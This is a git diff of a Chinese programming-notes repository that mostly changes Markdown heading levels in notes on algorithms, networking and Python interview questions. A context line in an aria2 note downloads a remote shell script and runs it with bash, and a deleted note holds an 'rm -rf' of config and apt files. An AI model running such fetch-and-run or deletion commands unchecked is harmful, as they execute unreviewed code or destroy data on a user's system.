@ -629,27 +629,27 @@ void postThread(TBTNode *p,TBTNode *&amp;pre)
*/
```
# 六、相关树的转换和概念描述
## 六、相关树的转换和概念描述
## 1.树与二叉树的转换
### 1.树与二叉树的转换
>
## 2.森林和二叉树的转换
### 2.森林和二叉树的转换
>
## 3.树与森林的遍历
### 3.树与森林的遍历
>
## 4.赫夫曼树和赫夫曼编码
### 4.赫夫曼树和赫夫曼编码
>

View File

@ -3,9 +3,9 @@
# 第四章 串
# 一、串数据类型的定义
## 一、串数据类型的定义
## 1.定义和存储结构
### 1.定义和存储结构
```
char str[]="abcdef";
@ -23,7 +23,7 @@ typedef struct
}Str;
```
## 2.串的基本操作
### 2.串的基本操作
```
//1.赋值
@ -148,9 +148,9 @@ int clearstring(Str&amp; str)
}
```
# 二、串的模式匹配算法
## 二、串的模式匹配算法
## 1.简单模式匹配算法
### 1.简单模式匹配算法
```
//对一个串中的定位操作称为串的模式匹配
@ -176,7 +176,7 @@ int index(Str str,Str substr)
}
```
## 2.KMP算法
### 2.KMP算法
```
//思路每当发生模式串不匹配的情况先找出发生不匹配的字符pj,取其子串F=p1p2p3...Pj-1
@ -217,7 +217,7 @@ int KMP(Str str, Str substr, int next[])
}
```
## 3.KMP算法的改进
### 3.KMP算法的改进
```
//当j=1时nextva[j]=0,作为特殊标记

View File

@ -3,9 +3,9 @@
# 算法图解笔记
### 目录
#### 目录
## 算法简介
### 算法简介
二分法查找,输入一个**有序列表**返回元素位置或null。<br/> 一般而言,<strong>对于包含n个元素的列表用二分法查找最多需要
@ -54,7 +54,7 @@ def binary_search(list, item):
[binary_search.py](binary_search.py)
## 选择排序
### 选择排序
由于数组的结构在内存中是连续的,添加新元素十分麻烦,链表的优势在于插入新元素;<br/> 数组的优势在于元素的随机访问。也就是说**数组和链表在插入和读取元素的时间复杂度刚好互补**。<br/> [selectSort](selectSort.py)
@ -119,7 +119,7 @@ def selectSort2(arr):
O(n2)
## 递归
### 递归
>
递归函数要有基线条件和递归条件,否则会无限循环.
@ -134,11 +134,11 @@ def fact(x):
```
## 快速排序
### 快速排序
快速排序是分而治之的策略[quickSort](quickSort.py)
### 分而治之
#### 分而治之
```
def quickSort(arr):
@ -179,7 +179,7 @@ def quickSort2(arr, left, right):
```
## 散列表
### 散列表
散列函数将输入映射到数字。它必须是一致的它将不同的输入映射到不同的数字。Python实现了散列表的实现——字典。<br/> 散列表是提供DNS解析这种功能的方式之一。
@ -260,7 +260,7 @@ def get_page(url):
O(n)
## 广度优先搜索
### 广度优先搜索
图由节点——边组成。可以通过散列表将节点映射到其所有邻居,散列表是无序的。
@ -341,7 +341,7 @@ def search(name):
O(V+E)边数和人数
## 狄克斯特拉算法
### 狄克斯特拉算法
```
def find_lowest_cost_node(costs):
@ -357,12 +357,12 @@ def find_lowest_cost_node(costs):
```
## 贪婪算法
### 贪婪算法
就是每步都选择最优解,最终得到全局的最优解。
### NP完全问题
#### NP完全问题
## 动态规划
### 动态规划
与上一章对应,贪婪算法得到的可能不是最优解,而动态规划可以得到最优解。动态规划先解决子问题,再逐步解决大问题。

View File

@ -3,22 +3,22 @@
# 统计学习方法_第一章
# **一、统计学习**
## **一、统计学习**
# **二、监督学习**
## **二、监督学习**
# **三、统计学习三要素**
## **三、统计学习三要素**
# **四、模型评估与模型选择**
## **四、模型评估与模型选择**
# **五、正则化与交叉验证**
## **五、正则化与交叉验证**
# **六、泛化能力**
## **六、泛化能力**
# **七、生成模型和判别模型**
## **七、生成模型和判别模型**
# **八、分类问题**
## **八、分类问题**
# **九、标注问题**
## **九、标注问题**
# **十、回归问题**
## **十、回归问题**

View File

@ -5,7 +5,7 @@
AppImage是一种在 Linux系统中用于分发便携式软件而不需要超级用户权限来安装它们的格式。它还试图让允许Linux的上游开发者来分发他们的程序而不用考虑不同Linux发行版间的区别。
## 特点
### 特点
AppImage不把Linux应用程序安装在文件系统相应的目录中。相反,它没有进行实际的安装。AppImage文件只是个压缩文件在它运行时候挂载。
@ -13,7 +13,7 @@ AppImage不把Linux应用程序安装在文件系统相应的目录中。相反,
用AppImage文件比安装一个应用程序更加简单。它不需要解压也不需要为系统环境做调整。使用主流Linux发行版的用户可以下载它使其可执行并且运行即可。
## 解决图标显示问题
### 解决图标显示问题
```
/home/$USERNAME/.config/ # 这个目录中是一些配置文件

View File

@ -3,7 +3,7 @@
# 解决ubuntu系统的terminal无法获得锁
## 描述
### 描述
我们在Ubuntu中运行命令有时会遇到卡顿的情况这时候我们不少伙伴等得不耐烦了九直接关掉类终端但是由于卡顿后台还在运行中这就导致我们再次运行命令行时出现以下提示
@ -14,7 +14,7 @@
这是由于我们在未完成下载的情况下将窗口关闭, 但是apt-get进程并没有结束所以它九一直占用dpkg锁之前的任务任务完成不了新任务又不能运行很是难受。
## 解决
### 解决
输入 `ps aux` 列出正在运行的进程。找到相应的进程如含有apt-get的进程并杀掉再执行

View File

@ -1,36 +0,0 @@
# 原创
解决套路云Debian新机update的时候出现Waiting for headers和404错误
# 解决套路云Debian新机update的时候出现Waiting for headers和404错误
```
rm -rf /root/.pip /root/.pydistutils.cfg /etc/apt/sources.list.d/sources-aliyun-0.list /etc/apt/sources.list.d/sources-aliyun* /var/lib/apt/lists/*
```
```
deb http://mirrors.cloud.aliyuncs.com/debian/ jessie main contrib non-free
deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie main contrib non-free
deb http://mirrors.cloud.aliyuncs.com/debian/ jessie-proposed-updates main non-free contrib
deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie-proposed-updates main non-free contrib
deb http://mirrors.cloud.aliyuncs.com/debian/ jessie-updates main contrib non-free
deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie-updates main contrib non-free
## Uncomment the following two lines to add software from the 'backports'
## repository.
##
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
#deb http://mirrors.cloud.aliyuncs.com/debian/ jessie-backports main contrib non-free
#deb-src http://mirrors.cloud.aliyuncs.com/debian/ jessie-backports main contrib non-free
```
```
apt-get clean
apt-get update
```
套路云还是套路云,服气!!!

View File

@ -3,11 +3,11 @@
# 资源分享
### 文章目录
#### 文章目录
## 网址
### 网址
## `File Browser`
### `File Browser`
利用`Caddy`以及它的一个扩展`FileBrowser`,测试密码用户名为`2333`,提供指定`VPS`的文件夹管理界面,可用于浏览器直接上传/下载/删除/预览和重命名等该目录中的文件,支持在线观看视频,编辑文件。利用好的话可以当作私人·网盘用,下面会说明为什么这么说。
@ -15,30 +15,30 @@
其余几个小站都是通过类似的方式建成,不再细说。
## PHPSound
### PHPSound
在线音乐分享平台。
## PyOne
### PyOne
一个将`OneDrive`利用的非常好的服务器应用,让`OneDrive`文件的分享变得非常容易。
## ShareList
### ShareList
一个将无限空间的`GoogleDrive`利用的非常好的服务器应用,并且可以通过下面这个`AriaN`实现离线下载文件到`GoogleDrive`。
## AriaNg
### AriaNg
`AriaNg`大家应该都不陌生,我就不说了。
## AVS分享站点
### AVS分享站点
一个在线视频图片游戏分享社区。
## Plex
### Plex
一个私人影院的服务器应用,并且有跨平台的客户端。
当然还有很多服务器方面的应用值得一玩,服务器配置和存储是硬伤,存储可以通过挂载网盘解决,配置就无能为力了,不过像`Digital Ocean`、`GCP` 、`AWS` 、 `Azure`等等这些大厂,都是可以白嫖一段时间的。也就是说,可以通过免费的方式获取无限存储空间的`Google Drive`、`5T的OneDrive`、`永久订阅的桌面Offce365`(那些吹`office2016` `office2019`的都是小白),以及可以白嫖的一年`me`域名,稳定的`VPS`.
## 联系我
### 联系我

View File

@ -5,7 +5,7 @@
**首页:**[HomePage](https://telegra.ph/HomePage-01-03)<br/>[https://telegra.ph/Fuck-PanBaidu-02-19](https://telegra.ph/Fuck-PanBaidu-02-19) <br/>[https://graph.org/Fuck-PanBaidu-02-19](https://graph.org/Fuck-PanBaidu-02-19)
### 一、安装aria2
#### 一、安装aria2
```
wget -N https://git.io/aria2.sh &amp;&amp; chmod +x aria2.sh &amp;&amp; bash aria2.sh
@ -26,7 +26,7 @@ wget -N https://git.io/aria2.sh &amp;&amp; chmod +x aria2.sh &amp;&amp; bash ari
默认下载目录:/root/Download
### 二、aria2离线gd/od方案
#### 二、aria2离线gd/od方案
1、安装rclone
@ -73,7 +73,7 @@ on-download-complete=/root/.aria2/autoupload.sh
下载的文件会自动上传到gd/od
### 三、利用第三方百度盘
#### 三、利用第三方百度盘
这里推荐速盘可惜PanDownload没有开放aria2配置
@ -89,7 +89,7 @@ on-download-complete=/root/.aria2/autoupload.sh
于是就可以把你的百度网盘文件直接下载到gd/od中了。
### 四、效果图
#### 四、效果图
1.使用AriaNG面板下载文件到VPS利用**autoupload.sh脚本实现gd离线下载电影**

View File

@ -9,9 +9,9 @@
Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windows 始终是第一生产力工具,对很多人而言是无可替代的一款产品。如何更加优雅地使用这款朝夕相伴的操作系统?于是有了这个项目,希望能收集和分享 Windows 下那些体验出色、不可或缺的优秀应用。
# 目录
## 目录
1. [效率类](#1-%E6%95%88%E7%8E%87%E7%B1%BB)1. [工具类](#2-%E5%B7%A5%E5%85%B7%E7%B1%BB)1. [开发类](#3-%E5%BC%80%E5%8F%91%E7%B1%BB)1. [设计类](#4-%E8%AE%BE%E8%AE%A1%E7%B1%BB)1. [娱乐类](#5-%E5%A8%B1%E4%B9%90%E7%B1%BB)
# 1. 效率类
## 1. 效率类
**——也许会成为你日常使用的 App**
@ -38,7 +38,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
# 2. 工具类
## 2. 工具类
**——收集起来以备不时之需**
@ -52,7 +52,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
# 3. 开发类
## 3. 开发类
|名称|推荐理由|授权方式|相关链接
|------
@ -73,7 +73,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
# 4. 设计类
## 4. 设计类
|名称|推荐理由|授权方式|相关链接
|------
@ -82,7 +82,7 @@ Windows 总是被人吐槽设计平庸、系统臃肿、品味低下,但 Windo
[**返回目录**](#%E7%9B%AE%E5%BD%95)
# 5. 娱乐类
## 5. 娱乐类
|名称|推荐理由|授权方式|相关链接
|------

View File

@ -3,17 +3,17 @@
# PEP 8风格指南
## PEP 8风格指南
### PEP 8风格指南
### 文章目录
#### 文章目录
### 空格的使用
#### 空格的使用
1. <u>使用空格来表示缩进而不要用制表符Tab</u>这一点对习惯了其他编程语言的人来说简直觉得不可理喻因为绝大多数的程序员都会用Tab来表示缩进但是要知道Python并没有像C/C++或Java那样的用花括号来构造一个代码块的语法在Python中分支和循环结构都使用缩进来表示哪些代码属于同一个级别鉴于此Python代码对缩进以及缩进宽度的依赖比其他很多语言都强得多。在不同的编辑器中Tab的宽度可能是2、4或8个字符甚至是其他更离谱的值用Tab来表示缩进对Python代码来说可能是一场灾难。1. <u>和语法相关的每一层缩进都用4个空格来表示。</u>1. <u>每行的字符数不要超过79个字符如果表达式因太长而占据了多行除了首行之外的其余各行都应该在正常的缩进宽度上再加上4个空格。</u>1. <u>函数和类的定义,代码前后都要用两个空行进行分隔。</u>1. <u>在同一个类中,各个方法之间应该用一个空行进行分隔。</u>1. <u>二元运算符的左右两侧应该保留一个空格,而且只要一个空格就好。</u>
### 标识符命名
#### 标识符命名
PEP 8倡导用不同的命名风格来命名Python中不同的标识符以便在阅读代码时能够通过标识符的名称来确定该标识符在Python中扮演了怎样的角色在这一点上Python自己的内置模块以及某些第三方模块都做得并不是很好
1. <u>变量、函数和属性应该使用小写字母来拼写,如果有多个单词就使用下划线进行连接。</u>1. <u>类中受保护的实例属性,应该以一个下划线开头。</u>1. <u>类中私有的实例属性,应该以两个下划线开头。</u>1. <u>类和异常的命名,应该每个单词首字母大写。</u>1. <u>模块级别的常量,应该采用全大写字母,如果有多个单词就用下划线进行连接。</u>1. <u>类的实例方法,应该把第一个参数命名为`self`以表示对象自身。</u>1. <u>类的类方法,应该把第一个参数命名为`cls`以表示该类自身。</u>
### 表达式和语句
#### 表达式和语句
在Python之禅可以使用`import this`查看中有这么一句名言“There should be one-- and preferably only one --obvious way to do it.”翻译成中文是“做一件事应该有而且最好只有一种确切的做法”这句话传达的思想在PEP 8中也是无处不在的。
1. <u>采用内联形式的否定词,而不要把否定词放在整个表达式的前面。</u>例如`if a is not b`就比`if not a is b`更容易让人理解。1. 不要用检查长度的方式来判断字符串、列表等是否为`None`或者没有元素,应该用`if not x`这样的写法来检查它。1. <u>就算`if`分支、`for`循环、`except`异常捕获等中只有一行代码,也不要将代码和`if`、`for`、`except`等写在一起,分开写才会让代码更清晰。</u>1. <u>`import`语句总是放在文件开头的地方。</u>1. <u>引入模块的时候,`from math import sqrt`比`import math`更好。</u>1. <u>如果有多个`import`语句应该将其分为三部分从上到下分别是Python标准模块、第三方模块和自定义模块每个部分内部应该按照模块名称的字母表顺序来排列。</u>

View File

@ -3,7 +3,7 @@
# TCP/IP协议
## TCP/IP协议
### TCP/IP协议
TCP/IP不是一个协议而是一个协议族的统称。里面包括IP协议、IMCP协议、TCP协议。
@ -17,15 +17,15 @@ TCP/IP分层
数据链路层从ARP得到数据的传递信息再从IP得到具体的数据信息
## IP协议
### IP协议
IP协议头当中最重要的就是TTLIP允许通过的最大网段数量字段八位规定该数据包能穿过几个路由之后才会被抛弃。
## IP路由选择
### IP路由选择
## ARP协议工作原理
### ARP协议工作原理
## ICMP协议网络控制文协议
### ICMP协议网络控制文协议
将IP数据包不能传送的错误信息传送给主机
@ -35,27 +35,27 @@ IP协议头当中最重要的就是TTLIP允许通过的最大网段数量
不产生的情况:
1. ICMP差错报文不产生差错报文1. 源地址为零地址、环目地址、广播地址、多播地址
## IP路由器选择协议
### IP路由器选择协议
### 静态路由选择
#### 静态路由选择
先来看路由选择工作流程:
1. 配置接口以默认方式生成路由表项或者使用route add手动添加表项1. ICMP报文ICMP重定向报文更新表项1. 动态路由选择(只使用在路由之间)
### RIP路由信息协议
#### RIP路由信息协议
分布式的基于距离向量(路由器到每一个目的网络的距离记录)的路由选择协议
router承担的工作
1. 给每一个已知路由器发送RIP请求报文要求给出完整的路由表1. 如果接受请求就将自己的路由表交给请求者如果没有就处理IP请求表项自己部分+跳数/没有的部分+161. 接受回应更新路由表1. 定期更新路由表一般为30s只能说太频繁~
### OSPF开放最短路径优先协议
#### OSPF开放最短路径优先协议
分布式链路状态(和这两个路由器都有接口的网络)协议
1. 当链路状态发生变化时采用可靠的洪泛法向所有的路由器发送信息相邻的所有路由器的链路状态1. 最终会建立一个全网的拓扑结构图
### TCP/IP的三次握手四次分手
#### TCP/IP的三次握手四次分手
首先我们先来了解TCP报文段
### 三次握手的过程
#### 三次握手的过程
客户端我们用A表示服务器端用B表示前提A主动打开B被动打开。
1. 在建立连接之前B先创建TCB传输控制块准备接受客户进程的连接请求处于LISTEN监听状态1. A首先创建TCB然后向B发出连接请求SYN置1同时选择初始序号seq=x进入SYN-SEND同步已发送状态1. B收到连接请求后向A发送确认SYN置1ACK置1同时产生一个确认序号ack=x+1。同时随机选择初始序号seq=y进入SYN-RCVD同步收到状态1. A收到确认连接请求后ACK置1确认号ack=y+1seq=x+1进入到ESTABLISHED已建立连接状态。向B发出确认连接最后B也进入到ESTABLISHED已建立连接状态。
@ -65,7 +65,7 @@ router承担的工作
在三次握手过程中Server发送SYN-ACK之后收到Client的ACK之前的TCP连接称为半连接half-open connect此时Server处于SYN_RCVD状态当收到ACK后Server转入ESTABLISHED状态。SYN攻击就是 Client在短时间内伪造大量不存在的IP地址并向Server不断地发送SYN包Server回复确认包并等待Client的确认由于源地址 是不存在的因此Server需要不断重发直至超时这些伪造的SYN包将产时间占用未连接队列导致正常的SYN请求因为队列满而被丢弃从而引起网 络堵塞甚至系统瘫痪。SYN攻击时一种典型的DDOS攻击检测SYN攻击的方式非常简单即当Server上有大量半连接状态且源IP地址是随机的则可以断定遭到SYN攻击了使用如下命令可以让之现行 `#netstat -nap | grep SYN_RECV`
### 四次分手的过程
#### 四次分手的过程
客户端我们用A表示服务器端用B表示。由于TCP连接时是全双工的因此每个方向都必须单独进行关闭。这一原则是当一方完成数据发送任务后发送一个FIN来终止这一方向的链接。收到一个FIN只是意味着这一方向上没有数据流动既不会在收到数据但是在这个TCP连接上仍然能够发送数据知道这一方向也发送了FIN首先进行关闭的一方将执行主动关闭而另一方则执行被动关闭。
@ -79,9 +79,9 @@ router承担的工作
1. 客户端A发送一个FIN用来关闭客户A到服务器B的数据传送报文段4。1. 服务器B收到这个FIN它发回一个ACK确认序号为收到的序号加1报文段5。和SYN一样一个FIN将占用一个序号。1. 服务器B关闭与客户端A的连接发送一个FIN给客户端A报文段6。1. 客户端A发回ACK报文确认并将确认序号设置为收到序号加1报文段7
A在进入到TIME-WAIT状态后并不会马上释放TCP必须经过时间等待计时器设置的时间2MSL最长报文段寿命A才进入到CLOSED状态。为什么
1. 为了保证A发送的最后一个ACK报文段能够到达B1. 防止“已失效的连接请求报文段”出现在本连接中
## 总结
### 总结
### 三次握手流程
#### 三次握手流程
1. 客户端发个请求“开门呐我要进来”给服务器1. 服务器发个“进来吧我去给你开门”给客户端1. 客户端有很客气的发个“谢谢,我要进来了”给服务器
### 四次挥手流程
#### 四次挥手流程
1. 客户端发个“时间不早了我要走了”给服务器等服务器起身送他1. 服务器听到了发个“我知道了那我送你出门吧”给客户端等客户端走1. 服务器把门关上后,发个“我关门了”给客户端,然后等客户端走(尼玛~矫情啊1. 客户端发个“我知道了,我走了”,之后自己就走了。

View File

@ -5,9 +5,9 @@
互联网的核心是一系列协议总称为”互联网协议”Internet Protocol Suite。它们对电脑如何连接和组网做出了详尽的规定。理解了这些协议就理解了互联网的原理。
## 概述
### 概述
### 五层模型
#### 五层模型
互联网的实现,分成好几层。每一层都有自己的功能,就像建筑物一样,每一层都靠下一层支持。
@ -15,25 +15,25 @@
如何分层有不同的模型,有的模型分七层,有的分四层。我觉得,把互联网分成五层,比较容易解释。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180821220910.png" title=""/> <br/> 如上图所示最底下的一层叫做”实体层”Physical Layer最上面的一层叫做”应用层”Application Layer中间的三层自下而上分别是”链接层”Link Layer、”网络层”Network Layer和”传输层”Transport Layer。越下面的层越靠近硬件越上面的层越靠近用户。
### 层与协议
#### 层与协议
每一层都是为了完成一种功能。为了实现这些功能就需要大家都遵守共同的规则。大家都遵守的规则就叫做”协议”protocol
互联网的每一层都定义了很多协议。这些协议的总称就叫做”互联网协议”Internet Protocol Suite。它们是互联网的核心下面介绍每一层的功能主要就是介绍每一层的主要协议。
## 实体层(物理层)
### 实体层(物理层)
电脑要组网,第一件事要干什么?当然是先把电脑连起来,可以用光缆、电缆、双绞线、无线电波等方式。
这就叫做”实体层”它就是把电脑连接起来的物理手段。它主要规定了网络的一些电气特性作用是负责传送0和1的电信号。
## 链接层
### 链接层
### 定义
#### 定义
单纯的0和1没有任何意义必须规定解读方式多少个电信号算一组每个信号位有何意义这就是”链接层”的功能它在”实体层”的上方确定了0和1的**分组方式。**
### 以太网协议
#### 以太网协议
早期的时候每家公司都有自己的电信号分组方式。逐渐地一种叫做”以太网”Ethernet的协议占据了主导地位。
@ -43,7 +43,7 @@
“标头”的长度固定为18字节。”数据”的长度最短为46字节最长为1500字节。因此整个”帧”最短为64字节最长为1518字节。如果数据很长就必须分割成多个帧进行发送。
### MAC地址
#### MAC地址
上面提到,以太网数据包的”标头”,包含了发送者和接受者的信息。那么,发送者和接受者是如何标识呢?
@ -53,7 +53,7 @@
**前6个十六进制数是厂商编号后6个是该厂商的网卡流水号。有了MAC地址就可以定位网卡和数据包的路径了。**
### 广播
#### 广播
定义地址只是第一步,后面还有更多的步骤。
@ -69,9 +69,9 @@
有了**数据包的定义、网卡的MAC地址、广播的发送方式**,”链接层”就可以在多台计算机之间传送数据了。
## 网络层
### 网络层
### 网络层的由来
#### 网络层的由来
以太网协议依靠MAC地址发送数据。理论上单单依靠MAC地址上海的网卡就可以找到洛杉矶的网卡了技术上是可以实现的。
@ -85,7 +85,7 @@
网络地址帮助我们确定计算机所在的子网络MAC地址则将数据包送到该子网络中的目标网卡。因此从逻辑上可以推断必定是先处理网络地址然后再处理MAC地址。
### IP协议
#### IP协议
**规定网络地址的协议叫做IP协议**。它所定义的地址就被称为IP地址。
@ -107,7 +107,7 @@
总结一下IP协议的作用主要有两个**一个是为每一台计算机分配IP地址另一个是确定哪些地址在同一个子网络。**
### IP数据包
#### IP数据包
根据IP协议发送的数据就叫做IP数据包。不难想象其中必定包括IP地址信息。
@ -119,7 +119,7 @@
**“标头”部分主要包括版本、长度、IP地址等信息”数据”部分则是IP数据包的具体内容。**它放进以太网数据包后,以太网数据包就变成了下面这样。
### ARP协议
#### ARP协议
因为IP数据包是放在以太网数据包里发送的所以我们必须同时知道两个地址一个是对方的MAC地址另一个是对方的IP地址。通常情况下对方的IP地址是已知的后文会解释但是我们不知道它的MAC地址。
@ -131,9 +131,9 @@
总之,有了**ARP协议之后我们就可以得到同一个子网络内的主机MAC地址可以把数据包发送到任意一台主机之上了。**
### 传输层
#### 传输层
### 传输层的由来
#### 传输层的由来
有了MAC地址和IP地址我们已经可以在互联网上任意两台主机上建立通信。
@ -145,7 +145,7 @@
“传输层”的功能,就是建立**“端口到端口”的通信**。相比之下,”网络层”的功能是建立**“主机到主机”的通信**。只要确定主机和端口我们就能实现程序之间的交流。因此Unix系统就把**主机+端口叫做”套接字”socket**。有了它,就可以进行网络应用程序开发了。
### UDP协议
#### UDP协议
现在我们必须在数据包中加入端口信息这就需要新的协议。最简单的实现叫做UDP协议它的格式几乎就是在数据前面加上端口号。
@ -155,7 +155,7 @@ UDP数据包也是由”标头”和”数据”两部分组成。
UDP数据包非常简单”标头”部分一共只有8个字节总长度不超过65,535字节正好放进一个IP数据包。
### TCP协议
#### TCP协议
UDP协议的优点是比较简单容易实现但是缺点是可靠性较差一旦数据包发出无法知道对方是否收到。
@ -165,7 +165,7 @@ UDP协议的优点是比较简单容易实现但是缺点是可靠性较
TCP数据包和UDP数据包一样都是内嵌在IP数据包的”数据”部分。TCP数据包没有长度限制理论上可以无限长但是为了保证网络的效率通常TCP数据包的长度不会超过IP数据包的长度以确保单个TCP数据包不必再分割。
## 应用层
### 应用层
应用程序收到”传输层”的数据,接下来就要进行解读。由于互联网是开放架构,数据来源五花八门,必须事先规定好格式,否则根本无法解读。

View File

@ -3,11 +3,11 @@
# 关于Python的面试题
# 目录
## 目录
# Python语言特性
## Python语言特性
## 1 Python的函数参数传递
### 1 Python的函数参数传递
看两个例子:
@ -64,11 +64,11 @@ print a # [1]
如果还不明白的话,这里有更好的解释: [http://stackoverflow.com/questions/986006/how-do-i-pass-a-variable-by-reference](http://stackoverflow.com/questions/986006/how-do-i-pass-a-variable-by-reference)
## 2 Python中的元类(metaclass)
### 2 Python中的元类(metaclass)
这个非常的不常用,但是像ORM这种复杂的结构还是会需要的,详情请看:[http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python](http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python)
## 3 @staticmethod和@classmethod
### 3 @staticmethod和@classmethod
Python其实有3个方法,即静态方法(staticmethod),类方法(classmethod)和实例方法,如下:
@ -103,7 +103,7 @@ a=A()
更多关于这个问题: <br/> 1. [http://stackoverflow.com/questions/136097/what-is-the-difference-between-staticmethod-and-classmethod-in-python](http://stackoverflow.com/questions/136097/what-is-the-difference-between-staticmethod-and-classmethod-in-python) <br/> 2. [https://realpython.com/blog/python/instance-class-and-static-methods-demystified/](https://realpython.com/blog/python/instance-class-and-static-methods-demystified/)
## 4 类变量和实例变量
### 4 类变量和实例变量
**类变量:**
@ -167,7 +167,7 @@ print Person.name # [1]
参考:[http://stackoverflow.com/questions/6470428/catch-multiple-exceptions-in-one-line-except-block](http://stackoverflow.com/questions/6470428/catch-multiple-exceptions-in-one-line-except-block)
## 5 Python自省
### 5 Python自省
这个也是python彪悍的特性.
@ -181,7 +181,7 @@ print type(a),type(b),type(c) # &lt;type 'list'&gt; &lt;type 'dict'&gt; &lt;type
print isinstance(a,list) # True
```
## 6 字典推导式
### 6 字典推导式
可能你见过列表推导时,却没有见过字典推导式,在2.7中才加入的:
@ -189,7 +189,7 @@ print isinstance(a,list) # True
d = {key: value for (key, value) in iterable}
```
## 7 Python中单下划线和双下划线
### 7 Python中单下划线和双下划线
```
&gt;&gt;&gt; class MyClass():
@ -218,7 +218,7 @@ AttributeError: myClass instance has no attribute '__superprivate'
或者: [http://www.zhihu.com/question/19754941](http://www.zhihu.com/question/19754941)
## 8 字符串格式化:%和.format
### 8 字符串格式化:%和.format
.format在许多方面看起来更便利.对于`%`最烦人的是它无法同时传递一个变量和元组.你可能会想下面的代码不会有什么问题:
@ -238,7 +238,7 @@ AttributeError: myClass instance has no attribute '__superprivate'
[http://stackoverflow.com/questions/5082452/python-string-formatting-vs-format](http://stackoverflow.com/questions/5082452/python-string-formatting-vs-format)
## 9 迭代器和生成器
### 9 迭代器和生成器
这个是stackoverflow里python排名第一的问题,值得一看: [http://stackoverflow.com/questions/231767/what-does-the-yield-keyword-do-in-python](http://stackoverflow.com/questions/231767/what-does-the-yield-keyword-do-in-python)
@ -257,7 +257,7 @@ AttributeError: myClass instance has no attribute '__superprivate'
通过列表生成式可以直接创建一个列表。但是受到内存限制列表容量肯定是有限的。而且创建一个包含百万元素的列表不仅是占用很大的内存空间我们只需要访问前面的几个元素后面大部分元素所占的空间都是浪费的。因此没有必要创建完整的列表节省大量内存空间。在Python中我们可以采用生成器边循环边计算的机制—&gt;generator
## 10 `*args` and `**kwargs`
### 10 `*args` and `**kwargs`
用`*args`和`**kwargs`只是为了方便并没有强制使用它们.
@ -310,7 +310,7 @@ a = aardvark, b = baboon, c = cat
[http://stackoverflow.com/questions/3394835/args-and-kwargs](http://stackoverflow.com/questions/3394835/args-and-kwargs)
## 11 面向切面编程AOP和装饰器
### 11 面向切面编程AOP和装饰器
这个AOP一听起来有点懵,同学面阿里的时候就被问懵了…
@ -320,7 +320,7 @@ a = aardvark, b = baboon, c = cat
中文: [http://taizilongxu.gitbooks.io/stackoverflow-about-python/content/3/README.html](http://taizilongxu.gitbooks.io/stackoverflow-about-python/content/3/README.html)
## 12 鸭子类型
### 12 鸭子类型
“当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子。”
@ -332,7 +332,7 @@ a = aardvark, b = baboon, c = cat
鸭子类型在动态语言中经常使用非常灵活使得python不想java那样专门去弄一大堆的设计模式。
## 13 Python中重载
### 13 Python中重载
引自知乎:[http://www.zhihu.com/question/20053359](http://www.zhihu.com/question/20053359)
@ -346,7 +346,7 @@ a = aardvark, b = baboon, c = cat
好了,鉴于情况 1 跟 情况 2 都有了解决方案python 自然就不需要函数重载了。
## 14 新式类和旧式类
### 14 新式类和旧式类
这个面试官问了,我说了老半天,不知道他问的真正意图是什么.
@ -377,7 +377,7 @@ d.foo1()
**按照经典类的查找顺序`从左到右深度优先`的规则,在访问`d.foo1()`的时候,D这个类是没有的..那么往上查找,先找到B,里面没有,深度优先,访问A,找到了foo1(),所以这时候调用的是A的foo1()从而导致C重写的foo1()被绕过**
## 15 `__new__`和`__init__`的区别
### 15 `__new__`和`__init__`的区别
这个`__new__`确实很少见到,先做了解吧.
1. `__new__`是一个静态方法,而`__init__`是一个实例方法.1. `__new__`方法会返回一个创建的实例,而`__init__`什么都不返回.1. 只有在`__new__`返回一个cls的实例时后面的`__init__`才能被调用.1. 当创建一个新实例时调用`__new__`,初始化一个实例时用`__init__`.
@ -385,14 +385,14 @@ d.foo1()
ps: `__metaclass__`是创建类时起作用.所以我们可以分别使用`__metaclass__`,`__new__`和`__init__`来分别在类创建,实例创建和实例初始化的时候做一些小手脚.
## 16 单例模式
### 16 单例模式
>
单例模式是一种常用的软件设计模式。在它的核心结构中只包含一个被称为单例类的特殊类。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问,从而方便对实例个数的控制并节约系统资源。如果希望在系统中某个类的对象只能存在一个,单例模式是最好的解决方案。
`__new__()`在`__init__()`之前被调用,用于生成实例对象。利用这个方法和类的属性的特点可以实现设计模式的单例模式。单例模式是指创建唯一对象,单例模式设计的类只能实例 <br/> **这个绝对常考啊.绝对要记住1~2个方法,当时面试官是让手写的.**
### 1 使用`__new__`方法
#### 1 使用`__new__`方法
```
class Singleton(object):
@ -406,7 +406,7 @@ class MyClass(Singleton):
a = 1
```
### 2 共享属性
#### 2 共享属性
创建实例时把所有实例的`__dict__`指向同一个字典,这样它们具有相同的属性和方法.
@ -423,7 +423,7 @@ class MyClass2(Borg):
a = 1
```
### 3 装饰器版本
#### 3 装饰器版本
```
def singleton(cls):
@ -439,7 +439,7 @@ class MyClass:
...
```
### 4 import方法
#### 4 import方法
作为python的模块是天然的单例模式
@ -460,7 +460,7 @@ my_singleton.foo()
**[单例模式伯乐在线详细解释](http://python.jobbole.com/87294/)**
## 17 Python中的作用域
### 17 Python中的作用域
Python 中,一个变量的作用域总是由在代码中被赋值的地方所决定的。
@ -468,7 +468,7 @@ Python 中,一个变量的作用域总是由在代码中被赋值的地方所
本地作用域Local→当前作用域被嵌入的本地作用域Enclosing locals→全局/模块作用域Global→内置作用域Built-in
## 18 GIL线程全局锁
### 18 GIL线程全局锁
